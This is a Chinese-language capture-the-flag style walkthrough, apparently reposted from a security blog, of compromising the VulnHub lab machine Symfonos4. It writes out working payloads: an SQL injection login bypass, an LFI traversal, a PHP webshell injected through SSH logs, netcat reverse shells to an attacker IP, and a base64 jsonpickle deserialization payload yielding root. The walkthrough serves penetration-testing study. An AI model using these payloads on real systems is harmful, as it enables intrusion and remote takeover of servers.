Vulnhub靶机实战–Symfonos4

admin 2026-09-23 05:10:03 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录Vulnhub平台Symfonos4靶机完整渗透测试过程,展示从SQL注入绕过认证、LFI读取日志、SSH日志注入获取Webshell、反弹shell、数据库凭据提取、socat端口转发到jsonpickle反序列化漏洞利用获取root权限的完整攻击链,覆盖OWASPTop10中SQL注入、文件包含和不安全反序列化三大类漏洞,对红队实战和渗透测试学习具有较高参考价值。 综合评分: 88 文章分类: 渗透测试,红队,内网渗透,WEB安全,漏洞分析


Vulnhub靶机实战 – Symfonos4

Hash-Sec Hash-Sec

Hash-Sec

2026年9月22日 16:52 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

NOIR BRIEF

商业观察 · 长期主义

Symfonos4 靶机渗透记录

Symfonos4 是 VulnHub 平台上的中等难度 Linux 靶机,目标 IP 192.168.68.172。该靶机完整演示了一条经典的 Web 层渗透链:目录枚举发现登录入口 → SQL 注入万能密码绕过认证 → 文件包含(LFI)读取系统日志 → 日志注入写入 WebShell → 反弹 shell 获取 foothold → 配置文件泄露数据库凭据 → socat 端口转发访问内网服务 → JWT Cookie 中的 jsonpickle 反序列化漏洞直接获取 root。

商业 · 财经 · 组织

NO. 001

01

  1. 主机发现与端口扫描

通过 ARP 扫描确认目标主机存活:

bash

1arp-scan -l

2

3192.168.68.172  00:0c:29:63:e8:37  VMware, Inc.

目标 IP 为 192.168.68.172。

访问 80 端口,主页为静态页面,未发现明显功能点。

执行全端口 TCP SYN 扫描:

bash

1nmap -p- -A -T4 192.168.68.172

2

3PORT   STATE SERVICE VERSION

422/tcp open  ssh     OpenSSH 7.9p1 Debian 10

580/tcp open  http    Apache httpd 2.4.38 ((Debian))

仅开放 22(SSH)和 80(HTTP)两个端口。SSH 暂无可利用的弱口令或已知 CVE,攻击面优先从 Web 服务展开。

02

  1. 目录枚举与登录入口发现

对 Web 根目录执行字典枚举,附带 php/zip/bak/txt/html 扩展名:

bash

1gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u http://192.168.68.172/ -x php,zip,bak,txt,html

扫描结果:

01

index.html — 200

02

robots.txt — 403

03

sea.php — 302 重定向至 atlantis.php

sea.php 发生 302 重定向,说明这是一个需要认证的入口脚本,重定向目标 atlantis.php 即为登录页面。

03

  1. SQL 注入绕过认证

访问 sea.php 被重定向至登录页。登录表单的用户名和密码查询未做参数化处理,存在经典 SQL 注入漏洞。使用万能密码绕过认证:

bash

1用户名: 1′ or 1=1 — s

2密码: 任意

1′ or 1=1 — s 的原理是闭合 SQL 语句中的字符串引号,插入永真条件 or 1=1,再用 — 注释掉后续语句,使查询恒返回真,从而绕过认证直接登录。

登录成功后,页面显示一个选择神(deity)的下拉框,选择后 URL 变为:

bash

1/sea.php?file=hades

file 参数直接控制后端读取的文件路径——这是一个典型的本地文件包含(LFI)漏洞。

04

  1. LFI 读取 SSH 认证日志

既然 file 参数可控,尝试读取 SSH 登录日志 /var/log/auth.log。注意靶机可能在文件后自动追加 .php 后缀,因此尝试不加 .log:

bash

1http://192.168.68.172/sea.php?file=../../../../../../var/log/auth

路径穿越 ../../../../../../ 跳出 Web 根目录,读取系统日志文件。

成功读取到 SSH 认证日志内容——日志中记录了所有 SSH 登录尝试的用户名和密码。

LFI 到 RCE 的核心思路:文件包含漏洞本身只能读文件,但如果能控制日志文件的内容,就能通过日志注入实现代码执行。SSH 日志记录了所有登录尝试的用户名,而用户名是攻击者完全可控的——把 PHP 代码作为用户名进行 SSH 连接,代码就会被写入日志文件,再通过 LFI 读取日志文件时,PHP 代码就会被执行。

05

  1. SSH 日志注入获取 RCE

使用任意 SSH 客户端(此处为 FinalShell)进行连接,将一句话 PHP 代码作为用户名传入:

bash

1用户名: <?php echo system($_POST['cmd']); ?>

2密码: 任意

这次 SSH 连接尝试会被记录到 /var/log/auth.log 中,PHP 代码以纯文本形式写入日志。

现在通过 LFI 读取这个日志文件,并携带 POST 参数 cmd 执行系统命令:

bash

1POST /sea.php?file=../../../../../var/log/auth

2cmd=id

命令执行成功,返回 www-data 用户身份。

06

  1. 反弹 Shell 与数据库凭据提取

通过 POST 参数注入反弹 shell 命令:

bash

1nc -e /bin/bash 192.168.68.156 1111

Kali 监听端口收到反弹连接,获取交互式 shell:

bash

1python -c “import pty;pty.spawn(‘/bin/bash’);”

获得 www-data 权限后,首先检查 Web 目录下的配置文件。登录页面的 PHP 源码中硬编码了数据库凭据:

php

1define(‘DB_USERNAME’, ‘root’);

2define(‘DB_PASSWORD’, ‘yVzyRGw3cG2Uyt2r’);

使用该凭据登录 MySQL 数据库,检查 db.users 表:

表中仅有一个用户,密码哈希无法直接破解。数据库阶段没有直接突破,转向内网侦察。

07

  1. 内网端口转发与 8080 服务

执行 ss -tuln 检查本地监听端口:

bash

1LISTEN  0  128  127.0.0.1:8080  0.0.0.0:*

发现 127.0.0.1:8080 上运行着一个仅绑定本地回环的 Web 服务,外部无法直接访问。使用 socat 做 TCP 端口转发:

bash

1socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080

将靶机的 7000 端口转发到本地 8080,然后通过 http://192.168.68.172:7000 访问该服务。

08

  1. JWT Cookie 与 jsonpickle 反序列化

访问 8080 端口的 Web 服务后,抓包分析 Cookie,发现其中包含一段 JWT Token。Base64 解码后内容为:

json

1{“py/object”: “app.User”, “username”: “Poseidon”}

这是 jsonpickle 序列化的 Python 对象。jsonpickle 是一个 Python 库,用于将 Python 对象序列化为 JSON 格式。如果服务端直接反序列化用户可控的 JSON 数据而未做安全过滤,就会触发反序列化漏洞——攻击者可以构造恶意 JSON,在服务端执行任意代码。

构造反序列化 payload,利用 Python 的 os.system 执行反弹 shell 命令:

json

1{“py/object”:”main.Shell”,”py/reduce”:[{“py/type”:”os.system”},{“py/tuple”:[“/usr/bin/nc -e /bin/bash 192.168.68.156 1111”]},null,null,null]}

Base64 编码后替换 Cookie 中的 JWT 值,刷新页面触发反序列化:

bash

1eyJweS9vYmplY3QiOiJtYWluLlNoZWxsIiwicHkvcmVkdWNlIjpbeyJweS90eXBlIjoib3Muc3lzdGVtIn0seyJweS90dXBsZSI6WyIvdXNyL2Jpbi9uYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC42OC4xNTYgMTExMSJdfSxudWxsLG51bGwsbnVsbF19

Kali 监听端口收到反弹连接,确认 UID:

bash

1uid=0(root) gid=0(root) groups=0(root)

直接获取 root 权限,无需二次提权。

反序列化漏洞原理:jsonpickle 的 py/reduce 机制允许在反序列化时指定任意可调用对象及其参数。当服务端使用 jsonpickle.decode() 处理用户输入时,攻击者可以构造 py/reduce 指向 os.system 或 subprocess.call,实现任意命令执行。这与 Java 反序列化漏洞(如 Fastjson、Jackson)的攻击模型完全一致。

09

  1. 完整攻击链路

| 攻击阶段 | 技术手段 | 关键输出 | | — | — | — | | 信息收集 | ARP 扫描 + nmap + gobuster 目录枚举 | 发现 sea.php 登录入口 | | 认证绕过 | SQL 注入万能密码 1′ or 1=1 — s | 登录成功,发现 ?file= 参数 | | 文件读取 | LFI 路径穿越读取 /var/log/auth | 获取 SSH 认证日志 | | 代码执行 | SSH 日志注入 PHP 一句话 + LFI 触发 | 获取 www-data 命令执行 | | Foothold | POST 注入反弹 shell | 获取交互式 shell | | 凭据提取 | 配置文件硬编码数据库密码 | root / yVzyRGw3cG2Uyt2r | | 内网突破 | socat 端口转发访问 127.0.0.1:8080 | 发现 JWT 认证服务 | | 权限提升 | jsonpickle 反序列化 + py/reduce 调用 os.system | 直接获取 root |

该靶机的核心设计思路:从 SQL 注入到 LFI 再到日志注入,每一步都是 Web 安全经典漏洞的组合利用;最终的提权不依赖内核漏洞或配置错误,而是通过内网服务的反序列化漏洞一步到位。整条链覆盖了 OWASP Top 10 中的 SQL Injection、File Inclusion、Insecure Deserialization 三大类漏洞。

10

关联知识点

01

SQL 注入万能密码:1′ or 1=1 — s 利用 SQL 语句字符串闭合 + 永真条件 + 注释符绕过认证。仅适用于字符串拼接的非参数化查询。

02

LFI(本地文件包含):?file= 参数未做路径过滤,通过 ../ 路径穿越读取任意文件。常见于 PHP include() / require() 直接拼接用户输入。

03

SSH 日志注入:将 PHP 代码作为 SSH 用户名进行连接尝试,代码被写入 /var/log/auth.log。结合 LFI 读取日志文件,PHP 代码被解析执行,实现 LFI → RCE 转换。

04

jsonpickle 反序列化漏洞:jsonpickle 支持 py/object 和 py/reduce 关键字,允许在反序列化时实例化任意对象并调用任意函数。服务端若直接 jsonpickle.decode() 用户输入,等同于 RCE。

05

socat 端口转发:socat tcp-listen:PORT,fork tcp:TARGET_IP:TARGET_PORT 将本地端口转发到远程地址,用于访问仅绑定回环的内网服务。

写在最后

看到这儿,说明你把它读完了。这类文章能走多远,只取决于两件事:你的在看和转发。

顺手关注并设为星标,下一篇更新第一时间见。

END OF ISSUE

保持长期主义


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:Hash-Sec Hash-Sec Hash-Sec《Vulnhub靶机实战 – Symfonos4》

    评论:0   参与:  0